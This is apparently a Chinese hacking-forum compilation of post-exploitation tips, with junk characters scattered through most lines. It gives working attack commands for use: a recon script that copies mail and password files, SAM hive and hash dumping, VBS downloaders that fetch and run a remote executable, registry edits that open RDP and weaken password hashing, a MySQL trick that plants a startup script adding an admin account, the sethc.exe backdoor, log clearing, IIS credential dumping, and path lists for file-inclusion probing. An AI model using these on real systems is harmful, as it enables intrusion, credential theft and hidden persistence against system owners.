1 t: n2 ?- V1 @# i感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
. r/ [3 j8 l: h- X) a9 V0 A& {————————————————————————————
) _: H& j2 G0 G) {1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
: u* K- e+ c2 Y) M0 R+ U% P; salzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
& A, E0 K" e% m  V6 M, _{
6 k/ Q8 F, p* @$ Z* S2 e& ^注：
4 g  S/ B0 h$ v' u2 v  I9 g关于tar的打包方式,linux不以扩展名来决定文件类型。
- x- v  x; X" M' D5 f若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
1 e0 \6 E5 o) {! h5 C# [那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
& Q9 j" @6 M9 r3 p( d}  
" ~6 L8 \  M/ N2 s4 R
$ l  C  b% A" Y4 E提权先执行systeminfo
& f$ Y# {; R6 G$ ptoken 漏洞补丁号 KB956572
Churrasco          kb952004
# W* P! @, }; ?命令行RAR打包~~·
3 b5 a& h: q8 ^rar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
2、收集系统信息的脚本  
for window：
. |& v$ E8 m2 W" f% G. x/ D
+ R! g5 p! x. |2 H9 y@echo off
* W/ Q3 D0 j# v$ q: l' eecho #########system info collection
2 Y+ F3 {$ c/ f  F) `7 J/ \  @$ dsysteminfo
ver
0 F4 ^  ^9 V' zhostname
net user
, A& t; H  T- ?2 e" i. cnet localgroup
( U. H: M( _. b; M; s+ onet localgroup administrators
net user guest
$ r# m* h7 g3 X8 p4 Znet user administrator

echo #######at- with   atq#####
: J) t2 h. N6 [: ^echo schtask /query
! e) h  T( Y# E, ^
" S/ A1 v0 d8 |9 Secho
echo ####task-list#############
8 e' S& A% ^7 C! H, K7 O; ltasklist /svc
echo
" G, D% E2 V' E" |/ n; l6 zecho ####net-work infomation
ipconfig/all
route print
arp -a
netstat -anipconfig /displaydns
echo
echo #######service############
sc query type= service state= all
echo #######file-##############
$ c* k( }/ H. [- ?/ h2 Xcd \
tree -F
$ Z& _) |# P: r2 d0 Qfor linux：
8 t7 F3 g6 P" L
#!/bin/bash

echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
cat /proc/meminfo
echo
cat /proc/cpuinfo
- I, p( k. \$ T: l+ Zecho
rpm -qa 2>/dev/null
& z8 `( l9 R7 c- H% E9 I  }) H######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null
$ n7 l, t% w9 ~
% _1 k- H' L! s4 H7 C
, u# x$ K' \1 I9 ^9 j8 yecho 'u'r id is' `id`
* H! T+ G, l2 _1 W- Uecho ###atq&crontab#####
atq
5 `1 s8 {; ?* p. vcrontab -l
echo #####about var#####
) `: h) e; W; h! M9 _! u* s9 }! ^set
5 n1 e6 g+ p9 j: d7 }9 s
5 G4 x, q$ W4 e% e* wecho #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
2 O" r) l, k& E5 }$ Z& z2 Bcat /etc/hosts
# Z$ k" @2 R: L. _6 u  t( Qhostname
ipconfig -a
arp -v
echo ########user####
0 o- H% a1 p" p: Y( l, q1 R) Mcat /etc/passwd|grep -i sh
$ P* H* J2 C- z# i% E/ h$ q
4 X0 ~( W. y4 V; R1 R4 q: s9 l* yecho ######service####
chkconfig --list
; |7 R% i# b! A# V9 p9 A& o
! A7 ~- S" ^/ }4 A! m  w) b% \$ }for i in {oracle,mysql,tomcat,samba,apache,ftp}
% Y( i' b# U$ q* u1 S/ t2 k' p- hcat /etc/passwd|grep -i $i
* }0 X0 n, |+ D. M4 q- i3 wdone
3 S, p- G$ U6 u4 `) |* J  b: P
locate passwd >/tmp/password 2>/dev/null
sleep 5
- e+ b2 d$ p* n( Dlocate password >>/tmp/password 2>/dev/null
5 z7 u; `7 k0 |7 x) Xsleep 5
locate conf >/tmp/sysconfig 2>dev/null
; r* R) E4 t8 jsleep 5
locate config >>/tmp/sysconfig 2>/dev/null
sleep 5

" q0 ], g/ N* I6 F5 v- a9 g###maybe can use "tree /"###
echo ##packing up#########
# B. X7 U1 E% b' t. |tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
5 n  z0 q, N0 u; a. Mrm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
3、ethash 不免杀怎么获取本机hash。
" t  ^- s1 \) u! i首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
6 l. K- Y) J9 q( ~( H接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
4、vbs 下载者
+ {( f9 G& D$ s2 J; N  ?7 P& _0 n1
2 S5 B& f! }$ necho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
4 b8 `( \, C* M5 \+ Gecho sGet.Type = 1 >>c:\windows\cftmon.vbs
4 r. M% c7 ?3 lecho sGet.Open() >>c:\windows\cftmon.vbs
, E. r& R8 ^* X8 H  ^2 e: Secho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
' Y; X% e& j: lecho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs

. y4 h) Z* R0 E% C* z2
! i7 e4 x7 T9 DOn Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
3 ^& v/ n# a1 ]9 MSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
+ y+ [( _! s9 S0 Y9 jsGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
6 n- _- y# ^5 _6 h* `
( w" l- u' ~+ Q$ [# hcscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

* B+ X2 P) B3 ?9 Q, S( h; ^4 D5 @当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
! e& o" u% W6 Z——————————————————
2 z7 @8 K! |  g( O7 w5、
1.查询终端端口
$ s9 T+ R. q+ Y& N  k8 [5 cREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
/ E9 O' ^: ?2 m4 U6 R2.开启XP&2003终端服务
7 Q$ Z; v3 v; ]REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
  y" d+ t1 p! [REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
8 _! ~& t. j* E————————————————
6、create table a (cmd text);
* x5 D: W% ^; k3 kinsert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
* X8 p, [. {  _1 xinsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
( N+ w# Z( F$ E3 F7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
5 H% E8 {" X  Z_____
( g3 Y8 J6 y0 v# C8、for /d %i in (d:\freehost\*) do @echo %i

/ p3 a% N8 [. u5 f9 D5 S列出d的所有目录
% K8 _2 I6 w) N/ u3 L; N  
$ o' I& Q0 [7 v" |- i& V- e" C  for /d %i in (???) do @echo %i
: U1 p2 F6 G; }8 d; b
把当前路径下文件夹的名字只有1-3个字母的打出来
: Y# z5 }$ X7 ]- O. \4 W3 ^
2.for /r %i in (*.exe) do @echo %i
% j; c/ Q0 q, g( u8 \; K& J. w, E  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
# ~5 V1 ~- Q- O, F8 ]3 j2 E" ]! y. u
3.for /f %i in (c:\1.txt) do echo %i
  
! d* h) _9 _4 M$ O7 }  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
7 }# n: x" [8 F  G4 Y5 j$ _
" E8 ]) ~) u. B3 ^1 m  delims=后的空格是分隔符 tokens是取第几个位置
* d3 P3 j7 O; j: R2 E9 w——————————
: U# }3 \8 ^( t' Q& `- k5 \! @●注册表:
1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
/ H( S7 z' h, c9 M# Q) \7 L
) s. @# i9 `8 _' R: p' Z. i, y/ ^2.修改3389的默认端口:
+ T% K. Y$ |0 j  p4 SHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.

3.清除3389登录记录:
  J/ C6 ]( N- C, T$ W( o- h% P; breg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

4.Radmin密码:
/ V( T- g0 ]0 L1 p- w4 w' z0 A% preg export HKLM\SYSTEM\RAdmin c:\a.reg

5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

: r; s4 }/ s- _, I6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
0 ]. f4 T- q- j- U. _netsh ipsec dynamic set config ipsecexempt value=0
0 q; _, Q% @+ ?+ \+ m" m
7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n

8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
1 A- I7 \1 V; {. u- p
4 c8 ~; V, L* z) G" z1 v; u9.另类方法抓系统密码HASH
3 Y: z: O; z9 N2 j, R% J& oreg save hklm\sam c:\sam.hive
% ]* g3 A2 n6 b# mreg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive
0 H7 j) l# k# T" x7 y: Y5 `
8 X" S9 c% `4 ?' M4 h& ?! z$ @10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

; P$ D7 c: {* }% K* e8 Xreg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
* o+ O4 a1 ^1 n7 w; \2 R-----------------------------------
6 f* |4 }. O) S星外vbs(注：测试通过，好东西）
2 _/ v2 O2 H4 h2 Q) G0 f8 H9 E) ESet ObjService=GetObject("IIS://LocalHost/W3SVC")
. n: {) X# u- o; R: |: IFor Each obj3w In objservice
7 l6 a% _6 y5 QchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
6 i1 P5 s0 ^0 s/ o% Iif IsNumeric(childObjectName)=true then
# L! P  G; V8 r; {" l; {set IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
7 }& C6 o  @& c3 h1 u; yexit for
msgbox("error!")
wscript.quit
) X) u, {9 H0 ^7 zend if
  j3 u9 D5 E, Pserverbindings=IIS.serverBindings
0 g4 ~  M  X: ?% W* i# t) SServerComment=iis.servercomment
0 G. D6 w6 p9 l$ tset IISweb=iis.getobject("IIsWebVirtualDir","Root")
& c, z" @! n/ i" A- `8 Juser=iisweb.AnonymousUserName
7 D+ x% Y# w+ \+ g% \+ ~# }pass=iisweb.AnonymousUserPass
8 y7 x4 r$ ^: z7 o) spath=IIsWeb.path
; K* m2 s6 C$ G$ olist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
Next
1 T% S& m9 ?9 `6 a5 Z% K: {wscript.echo list
Set ObjService=Nothing
8 j. [) L  C/ z5 l) I& wwscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
) t) t6 ^5 g7 B7 o" |, {复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
( k0 K( L9 J6 ^1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
  U' X( y5 q' T6 ^% P0 {: I2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
+ Q4 n4 `" ?+ E将folder.htt文件，加入以下代码：
. K# a3 H& v, r) e6 D<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
9 n* V3 p/ z8 N! |复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
# N4 q8 [0 [! V" r! Aasp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
" \+ }' y/ k, u 解决方法
. x5 I& N, r8 i" \) E url=request.severvariables("path_info")
) ], I/ G! ^& \. M: X- M path_info可以直接呈现虚拟路径 顺利解析gif大马
9 O' I1 I/ X: F/ y9 H+ h
: d# e& c* T7 ~: U1 ~3 ^==============================================================
LINUX常见路径：

) e: `4 m2 |# C$ r, ]/etc/passwd
/etc/shadow
/etc/fstab
7 \. Z; b+ p/ a* |/etc/host.conf
& W8 K0 Z$ ^2 B/etc/motd
  H5 y7 z# A( m2 t; a& b" z$ t/etc/ld.so.conf
/var/www/htdocs/index.php
1 c" @2 U* ~# i$ |8 }- |4 L/var/www/conf/httpd.conf
" T  u* v' B* h! _  N  L1 A4 i/var/www/htdocs/index.html
/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
0 |8 N  B/ ~( e8 _" e2 R! m/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
/var/www/index.html
' J( f' H4 P  n6 Z+ l/var/www/index.php
/opt/www/conf/httpd.conf
+ H/ J% A  M, a/opt/www/htdocs/index.php
8 h; q2 o, \, U* n/opt/www/htdocs/index.html
' ?: i6 [1 O0 m' J2 y6 F/usr/local/apache/htdocs/index.html
) J( [% x6 o/ z$ L, @7 o/usr/local/apache/htdocs/index.php
- g# Q. I( O( ^5 R$ m: X' }/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
% c, G, M: p1 @2 l. Y/tmp/apache/htdocs/index.html
- E/ H8 U& {1 _6 A7 v  |0 C/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
% \& D6 p$ E4 s2 C; X. H/www/php/php.ini
/www/php4/php.ini
: Y( g% v, s; s+ ?: O; B, p/www/php5/php.ini
/www/conf/httpd.conf
3 q2 {( J1 K6 j2 D& j/www/htdocs/index.php
/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
# W& u& D% o' {0 E/etc/apache/apache.conf
8 c0 r" b8 G7 j. `$ n! p: ]8 r- D/etc/apache2/apache.conf
/etc/apache/httpd.conf
& [, g! D3 W6 X2 b3 L, n/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
* V# M4 z8 d' T% X# T* b  w/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
) S3 I1 D) `8 y1 @% i/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
( p4 a- ?! R; l0 l. K/etc/httpd/logs/error.log
; u# D( Q0 Y+ b, u# i. N2 X/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
. a  G* q7 P1 n/ i  D  |/home/apache/conf/httpd.conf
9 D7 Y* i& ~- V$ ?/home/apache2/conf/httpd.conf
; [+ U. x  C6 ]  h& z/var/log/apache/error_log
/var/log/apache/error.log
! k1 |. E' o; X3 a% B& S0 e/var/log/apache/access_log
/var/log/apache/access.log
4 d$ I% `( L: r; P- I2 r9 }/ @5 T/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
; Z* {% d; x, Y. F) {' f3 l/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
* u/ H; N; D& }. t4 I% E/usr/local/apache/logs/error_log
; b, v2 E8 B1 m, A$ a! R+ V/usr/local/apache/logs/error.log
- U. O3 @: P5 j. M5 o+ z3 \+ o/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
& c$ d$ {( E. w/var/log/error.log
/var/log/access_log
5 O8 a9 C$ }* d  f/ l/var/log/access.log
4 N! j; B7 p5 h, \/ z$ W" P/usr/local/apache/logs/access_logaccess_log.old
: r" F1 J. C9 W2 G5 C: p' g/usr/local/apache/logs/error_logerror_log.old
6 Z, u( O0 r( H- d/etc/php.ini
/bin/php.ini
6 b4 O/ v$ i- l; A/etc/init.d/httpd
/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
2 \" p0 ]6 v* _6 d1 x/usr/lib/php/php.ini
! d: B9 b% o0 l/usr/local/etc/php.ini
" O7 a" o7 N2 m& `/usr/local/lib/php.ini
0 W. Q2 d7 X2 K# C. {4 A& `2 T+ a9 _5 K/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
* ^; V) V! e8 y$ L' m/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
. B" W) g% M/ F/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
- M/ j0 h9 d* A$ ^& [/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
" w# B- d8 }2 B( _1 u, e; a/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
1 O  l7 z' {4 k% [/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php/apache/php.ini
4 K% P. P& M: g  k/etc/php/apache2/php.ini
; y3 D. J6 M, l- ^0 ]/web/conf/php.ini
9 |$ [' u4 P' N) c3 c3 \  O* h/usr/local/Zend/etc/php.ini
2 R' @, T2 p4 i/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
0 `$ C* K' J5 `/var/local/www/conf/httpd.conf
! ~5 ~  W- d7 s/etc/php/cgi/php.ini
. m' [" I) @5 L5 L) H/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
/php5/php.ini
/php4/php.ini
2 t, v0 l, {6 J& B2 P) @: f' A+ w/php/php.ini
/PHP/php.ini
/apache/php/php.ini
" d+ O7 Z! H/ \- z# W- g" Y. C/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
7 m# U: q  h- V' l( b/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
3 ?9 x* F, O) y+ G+ A1 u/var/log/mysql.log
2 z* z& w# s/ E+ [2 u/var/log/mysqlderror.log
' B( }9 _# v% L8 \/var/log/mysql/mysql.log
4 A+ t% E. _* w3 V/var/log/mysql/mysql-slow.log
/var/mysql.log
1 `! V. d. G+ h, ]9 ^" L- C/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
4 K, F; N/ b6 u% I& f  F; Y# r/etc/mysql/my.cnf
/etc/my.cnf
/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
5 s" u% G1 g3 l1 S" O8 i* M' d( c/usr/local/cpanel/logs/login_log
  f; a1 X) i6 m; P' X' |6 j) H/usr/local/cpanel/logs/stats_log
# A. C3 E1 `5 k( ~  v3 c6 W/usr/local/share/examples/php4/php.ini
/ }5 a+ ^0 L: `% [/usr/local/share/examples/php/php.ini
1 V& {! J) C& n, E
3 n5 _+ H, p- C! K2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
4 A4 Y( }0 Z  i  F8 N' Y0 z
c:\windows\php.ini
c:\boot.ini
c:\1.txt
: J. B1 {- ?/ h) Nc:\a.txt

c:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
" C  }  v7 A, L4 Xc:\CMailServer\WebMail\index.asp
4 |7 h0 {& d8 E/ U5 ~% Tc:\program files\CMailServer\CMailServer.exe
( X6 T" J( j* K' Z5 x& oc:\program files\CMailServer\WebMail\index.asp
* J6 H  g  h3 l7 J" hC:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
# l9 z# C: |+ m" G# QC:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe

: I- v6 F5 g+ J# T( Qc:\hzhost\databases\url.asp
" }( y# N$ }+ @% i4 T
% K: z4 o$ Q" O  ^; i5 `/ ]c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

! Q. v# X+ [" YC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
& g' j. v+ F$ r4 ~5 _8 Q6 H# [2 S' KC:\WINDOWS\web.config
c:\web\index.html
c:\www\index.html
c:\WWWROOT\index.html
c:\website\index.html
c:\web\index.asp
c:\www\index.asp
c:\wwwsite\index.asp
5 ?- F* B/ m9 u" |4 Lc:\WWWROOT\index.asp
% J. i. R# h- C! l" Yc:\web\index.php
( d  [( C& r0 U: S: c. Cc:\www\index.php
0 |, _# E: B9 yc:\WWWROOT\index.php
& K+ Z5 F7 z3 s3 a2 _$ Z  S9 h! Mc:\WWWsite\index.php
c:\web\default.html
c:\www\default.html
  F' d/ b; w# V- {c:\WWWROOT\default.html
! `) N. m) c- P7 M3 [* I4 [c:\website\default.html
c:\web\default.asp
! {, T+ `3 H- n, s* f+ w6 ]3 hc:\www\default.asp
c:\wwwsite\default.asp
  k5 _- R" [5 y3 s2 Y* Ic:\WWWROOT\default.asp
c:\web\default.php
c:\www\default.php
; J6 d5 i* B* ^4 g( u, n) dc:\WWWROOT\default.php
c:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
  ~; L6 M8 [: g+ qc:\winnt\notepad.exe
0 N2 o' j% Y3 sC:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
& C9 ^& d. q) Z1 V6 }C:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
6 c* C; ]! Z* H6 C- v, hC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
$ C  j$ U5 I: o* h8 t2 n: U: G7 R/ sc:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
' H8 |5 A1 L' z- GC:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
1 m! S- h9 }4 n! V; RC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
/ a* T" {& H. Z+ t  VC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
% `' g6 X/ M4 L0 JC:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
' I5 d( M+ K. {! j6 d. YC:\Documents and Settings\Administrator\My Documents\a.txt
) T' @7 {' c7 G& p( H9 Z; pC:\Documents and Settings\Administrator\桌面\a.txt
# e' f$ ]4 v* P3 v6 M" x7 HC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
* b0 C5 H5 u3 E4 {! `5 ^C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
: F$ @0 L" w1 ^2 f6 G9 O* }0 DC:\Program Files\Symantec\SYMEVENT.INF
3 P; ?% j) ~( A0 |+ J2 YC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
* I; t+ D( ~2 bC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
, K3 p0 [. n$ A3 }C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
" ~+ [( k$ K1 ?C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
  L, q5 y. y  @/ X  v+ y; K! r; VC:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
9 N) H8 i* V2 m! ]0 ^C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
" Y; m7 x  s8 f$ t3 o+ sC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
( J/ n# R8 _; Ac:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
) _" h8 z& w1 j" `* OC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
- E  M- e  M. \" m9 u# _C:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
1 [/ O  q; u8 x' YC:\WINDOWS\system32\inetsrv\MetaBase.xml
8 s; F: z' N5 pC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
; ?) q  e5 b. I- N& J9 yC:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
' h# r  [5 S' ~) }c:\program files\CMailServer\config.ini
0 u1 r" p+ x8 c1 Q' w3 Fc:\tomcat6\tomcat6\bin\version.sh
. D1 \  s/ |0 p6 lc:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
* h* z* q0 S( R' Lc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
+ F  t& u& l# \6 I5 g( r8 Z$ N  ~C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
2 u9 N3 |/ ^' K  Q5 G% b/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
$ x4 ~. S7 M; n# qc:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
  x2 y# r- ~0 T& F4 r8 zc:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
: a  a$ D$ E; m, Z$ vc:\Program Files\Tencent\qq\Users\All Users\Registry.db
